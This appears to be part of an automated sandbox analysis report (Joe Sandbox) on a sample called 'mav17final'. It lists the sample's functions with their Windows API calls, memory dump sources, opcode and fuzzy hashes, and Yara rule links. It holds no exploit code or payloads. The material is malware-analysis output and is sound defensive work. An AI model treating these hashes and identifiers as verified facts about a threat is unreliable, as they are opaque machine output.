Opcode Fuzzy Hash: 1fa03f2e33758bcf25e4d2f540cbfa3ae257ed145adf2c3b33bcffd7bd395a0d
Instruction Fuzzy Hash: F901A561A18A93C1DE60AB39A49447DA651EF95BF0F944331EA7E077F4CE3CD8518330

Function 00007FF79EA53CD4 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA53B51), ref: 00007FF79EA53CF7
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA53B51), ref: 00007FF79EA53D0D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: e65bb3be7710d7fa3f2f1eb35ccfba932cfd64f7113b80078c6e28dbae587082
Instruction ID: 84fdbfe30ad415f35094eef16e9305cce332f4a585785255ed0d610e70b8792a
Opcode Fuzzy Hash: e65bb3be7710d7fa3f2f1eb35ccfba932cfd64f7113b80078c6e28dbae587082
Instruction Fuzzy Hash: B501823291C651C2D7606F25A48157EF7B0FB81B21F900236E6AD455E9DF7DD014CB30

Function 00007FF79EA542C0 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF79EA542C4
GetLastError.KERNEL32 ref: 00007FF79EA542CE

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: a6953bcd37a83dcb46a77d2c6cd0229bd820944d3ec2b1ee707b079e61bd8457
Instruction ID: 6c52491a96dbe564901ed6486782cc2c6b7ecbe54543ff5a1d7bde6575f8039f
Opcode Fuzzy Hash: a6953bcd37a83dcb46a77d2c6cd0229bd820944d3ec2b1ee707b079e61bd8457
Instruction Fuzzy Hash: 36D0C918E1C91286EA743772188583CA194EF95B71FD00A70C02A812F1DE1CA0660535

Function 00007FF79EA53A3C Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF79EA53A40
GetLastError.KERNEL32 ref: 00007FF79EA53A4A

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 4415ce3ca6a3ef02158fed96bc1674317c9c2b00140f80cb3181803c65901f46
Instruction ID: 5ae649550474fe99ddf1e7ef2e689423d1c478f41e93e08541c236adcf329ca5
Opcode Fuzzy Hash: 4415ce3ca6a3ef02158fed96bc1674317c9c2b00140f80cb3181803c65901f46
Instruction Fuzzy Hash: AFD0C914E1A90295EE7437720CC587CA190DFA5B21FD00A70C11D812F6DE1DA0891131

Function 00007FF79EA47C40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79EA489E0: MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

_findclose.LIBCMT ref: 00007FF79EA47E99

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 4b02f28466bbb3a65e09881e6996b1a42f98d106f54d684e0ace10e4073afd8c
Instruction ID: cc3665cdb0d7cd3b1a58d87d979fa45a4e66c0b4bcbb0d765a50dcf37f4562da
Opcode Fuzzy Hash: 4b02f28466bbb3a65e09881e6996b1a42f98d106f54d684e0ace10e4073afd8c
Instruction Fuzzy Hash: 4271A053E18AC581E621DB2CD5452FDA360F7A9B4CF94E321DB9C125A2EF28E2D9C710

Function 00007FF79EA4E544 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E586

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6ee8ce3a2e5d7e1d08b1eda748974059655e9d0621e3d5ae4304ca997f1fd0c8
Instruction ID: 3b4cf8e43a6f427799a867cc29841e7b346ff5cd631932d01a775b48838baf94
Opcode Fuzzy Hash: 6ee8ce3a2e5d7e1d08b1eda748974059655e9d0621e3d5ae4304ca997f1fd0c8
Instruction Fuzzy Hash: 2541F861B0825546FAB4AF365580939F295EF44FE4F848234ED2E4B7E5EE3CE4514331

Function 00007FF79EA576C4 Relevance: 1.6, APIs: 1, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA576EC

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3292c06f082d69c1996a4aa7561643ea988474f8832e5bbccfb5cd7a3b6ac64c
Instruction ID: bcbe13ae18758015aae2e73f0e573ec16b3ee32c9440dcbac121dd395f34fce1
Opcode Fuzzy Hash: 3292c06f082d69c1996a4aa7561643ea988474f8832e5bbccfb5cd7a3b6ac64c
Instruction Fuzzy Hash: E241E632E1820257EA74EB38D680A7C77A1FB55754F900135EA4D577A1CF2CE862C7B0

Function 00007FF79EA547A4 Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA547C6

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2f013d10c43b4120ccc62c22cebfe46315bcb9e8ffda91ad25067506f0f4438f
Instruction ID: 4757a97425dc1e6e686327f8a8b9a562c4b3a6390432469141dc21a1ece70eb9
Opcode Fuzzy Hash: 2f013d10c43b4120ccc62c22cebfe46315bcb9e8ffda91ad25067506f0f4438f
Instruction Fuzzy Hash: 5031A222E0CA8685EA74AB358594B7CA790EB40FD4F844535DA1E077FADE38E4418330

Function 00007FF79EA481B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF79EA4825A

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 29a2ea509154e8c5b7c4aa25aa57df5b74ef385b665b2ef91008b6d7940fe1b6
Instruction ID: 5edde754482dbe71b94f5ba74002eb66a1189f88f8ddf49de21effd7d4749e96
Opcode Fuzzy Hash: 29a2ea509154e8c5b7c4aa25aa57df5b74ef385b665b2ef91008b6d7940fe1b6
Instruction Fuzzy Hash: 6F21B421B09A5251FA60AB326484BBAE651FF45BE4FC84030FE1D0BB96EE3CE4058730

Function 00007FF79EA57150 Relevance: 1.6, APIs: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA57247

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d4d86f90d8beb46fa78844947a245e75cb60c67ce083d1104130f5490f9c3730
Instruction ID: 7715cc1f69ed2440e64e19362ece11d02e463b90b0384d728c207936eca0718f
Opcode Fuzzy Hash: d4d86f90d8beb46fa78844947a245e75cb60c67ce083d1104130f5490f9c3730
Instruction Fuzzy Hash: 2F318171A0860285E7617B7598C1B7CB691EFA4BA4FD50935F92D037F2CFBCA8418630

Function 00007FF79EA584CC Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383498e7d7e8b1fd9c533886b1d220b4cf7c947b4f241dd423aa0ce12a2c112c
Instruction ID: ca8b8cf662b67024a9389f64639997c5e3b48d62d27a9e371bf2c0591e080858
Opcode Fuzzy Hash: 383498e7d7e8b1fd9c533886b1d220b4cf7c947b4f241dd423aa0ce12a2c112c
Instruction Fuzzy Hash: 4D21BC62E08642A5E6A1BF35A881B3CB650EF94BB4FA50535E91D073F2CE7CE8408730

Function 00007FF79EA57830 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f919bf4118337ab7005c2370826db1eca15be1b08004282f148695719f6a1285
Instruction ID: 08e633aeea830a776948353d72390a65d556ca9742d0ce4ed1a1f21c17ef9c9f
Opcode Fuzzy Hash: f919bf4118337ab7005c2370826db1eca15be1b08004282f148695719f6a1285
Instruction Fuzzy Hash: 2621AB22E0864685E6A1BF35A8C0B3DB650EB54BB4F950634E92D177F2CE3CE8808730

Function 00007FF79EA52398 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA522FD

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ebf05c5c15a6287f42340a9c97fbfd395419422103ca14e3514fddc8112de4d0
Instruction ID: 27a4cb05a3b213b0a5f30d680cbe90d63f3f4573f452a90103e6cea232a3669c
Opcode Fuzzy Hash: ebf05c5c15a6287f42340a9c97fbfd395419422103ca14e3514fddc8112de4d0
Instruction Fuzzy Hash: B6115421A1C64281EA70BF619481A7DF2B0EF99B90F844431EA4D57AB6DF3CD5008770

Function 00007FF79EA61E6C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA61E8F

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 229554744694565c2a4a2fec6a2ad75b3c1a518c1cb3db7dfb8ece73082232fd
Instruction ID: f36209be3bc941855b96f5a033140967e7a8c1e1a0d04b1e429bdac5314c0d07
Opcode Fuzzy Hash: 229554744694565c2a4a2fec6a2ad75b3c1a518c1cb3db7dfb8ece73082232fd
Instruction Fuzzy Hash: 1D216532A08A4286DB71AF28D480B7DB6A0EBA5F54FA44235E65D476F5DF3DD8018B20

Function 00007FF79EA559E0 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF79EA559FF

Part of subcall function 00007FF79EA55AE8: GetModuleHandleExW.KERNEL32 ref: 00007FF79EA55B04
Part of subcall function 00007FF79EA55AE8: GetProcAddress.KERNEL32 ref: 00007FF79EA55B1A
Part of subcall function 00007FF79EA55AE8: FreeLibrary.KERNEL32 ref: 00007FF79EA55B37

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 6145c07282da4ab71bd663fb52be7bd64ecc08ec8f7fbd1fc40330876fe3f1ac
Instruction ID: ab6f3ec46a2c4883947287df1408bf1c0f5ba8f7cf2aa0b69c50b902f72b154a
Opcode Fuzzy Hash: 6145c07282da4ab71bd663fb52be7bd64ecc08ec8f7fbd1fc40330876fe3f1ac
Instruction Fuzzy Hash: 5E214F72A04782C9EB21AF74C8C86FC77A0EB44708F944536D70D06A95DF3CD585CB60

Function 00007FF79EA4E1E8 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E23C

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aac75a52ae55397d5cc9251cf9dad856d9fae640d00391b7cd0f4382f17b93b4
Instruction ID: 6af8b892e95156a7e18a27670fd35907e523f826512d5e8a79eaadcb45b2e956
Opcode Fuzzy Hash: aac75a52ae55397d5cc9251cf9dad856d9fae640d00391b7cd0f4382f17b93b4
Instruction Fuzzy Hash: E701A521B08B5141EA64AB72594057DE794FB95FE0FD88634DE5C67BE6DE3CD1014320

Function 00007FF79EA536C0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA53703

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5164a71c67db4dfe3c27ffd29dad53400bca74fbb9257fdd2bea829eec474a6b
Instruction ID: a8c823f7c2ac82de4ea70234167827788ee35a2d988e3875ffbb0b1ead3749da
Opcode Fuzzy Hash: 5164a71c67db4dfe3c27ffd29dad53400bca74fbb9257fdd2bea829eec474a6b
Instruction Fuzzy Hash: 17119A60E0DA0244F970BB32698197EE6D4EFD0BA0F940239E91D46BFBCE2CE4458630

Function 00007FF79EA568E4 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8155fc7d56cf343aee1c57a6ce9c3926f3a2de1a15dd65c693b488225a7edbf2
Instruction ID: 1adea7571fa57af8e14863c84bca4bb1b8c67a702905c7be07b1f516fc064950
Opcode Fuzzy Hash: 8155fc7d56cf343aee1c57a6ce9c3926f3a2de1a15dd65c693b488225a7edbf2
Instruction Fuzzy Hash: D4119A72908A46C9EB60AF64D4806BCF7A0EBE4764FD04232E25D026B5CF7CE1048B31

Function 00007FF79EA4DE28 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DE45

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3f1875fcf3292ebc0abdad29f8a83a022598266a53ac0d4e6476cd0d3a24a952
Instruction ID: e44527b7ea10a7bc4a2a946c4d5e0a6c4a2bb739ba40dbcefb923de819d252c9
Opcode Fuzzy Hash: 3f1875fcf3292ebc0abdad29f8a83a022598266a53ac0d4e6476cd0d3a24a952
Instruction Fuzzy Hash: 9F018F21E1950285FE74BB7598D2B7C9290DFD5B74FA41331E92A862F3DE2CE8008330

Function 00007FF79EA4E6F0 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E725

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b2bd31d8148823757d1cdd1794ac4485a81cd9419a20a54f306ea94e416d07c1
Instruction ID: 09af918b9145b983799f2c27716ce0faed9c24bb2d10ff3705b4b648ffc4f649
Opcode Fuzzy Hash: b2bd31d8148823757d1cdd1794ac4485a81cd9419a20a54f306ea94e416d07c1
Instruction Fuzzy Hash: A1011E72B00B1698EB11DFB0D4808EC77B8FB24798B944535DA4C17B65EF34D2A5C3A0

Function 00007FF79EA5A6A8 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF79EA59809,?,?,00000000,00007FF79EA51385,?,?,?,?,00007FF79EA56855), ref: 00007FF79EA5A6FD

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
